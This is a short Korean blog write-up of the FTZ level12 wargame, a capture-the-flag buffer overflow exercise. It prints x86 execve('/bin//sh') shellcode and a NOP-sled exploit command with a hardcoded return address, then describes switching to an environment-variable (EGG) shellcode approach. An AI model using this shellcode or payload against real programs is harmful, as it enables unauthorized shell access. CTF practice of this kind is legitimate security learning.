CTF 공부/FTZ
[FTZ]level12
JJWANIC
2020. 1. 23. 16:34
힌트를 보면
level11과 비슷한데 buf overflow 버그가 있네요.
전에 풀었던 방법으로 풀어봅시다.
사용한 Shell code:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
level11과 같이 A를 264개 채워서 실행한 후 argv[1]의 주소를 찾아보겠습니다.
0xbffffb38 + d = 0xbffffb45 (argv[1] address)
./Process_name `python -c 'print "\x90" * 243 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x45\xfb\xff\xbf"'`
아 한가지 실수를 했네요. 잘 보면 인자로 전달하는 것이 아닌, gets를 통해 값을 받습니다. ㅠ_ㅠ
그럼 argv[1] 주소가 필요가 없어지죠... 심지어 인자를 받지도 않네요...
다시 풀어봅시다.
EGG Shell을 이용해서 풀어보겠습니다.
환경 변수에 쉘코드를 등록시키고 프로세스가 종료될 때 ret 주소에 환경 변수의 주소를 넣어
shell을 실행시키는 방법입니다.!
EGG라는 환경변수에 쉘코드를 넣고,
그 환경변수의 주소를 확인합니다. 그리고 그 환경변수를 이용하여 실행을 시켜보면
성공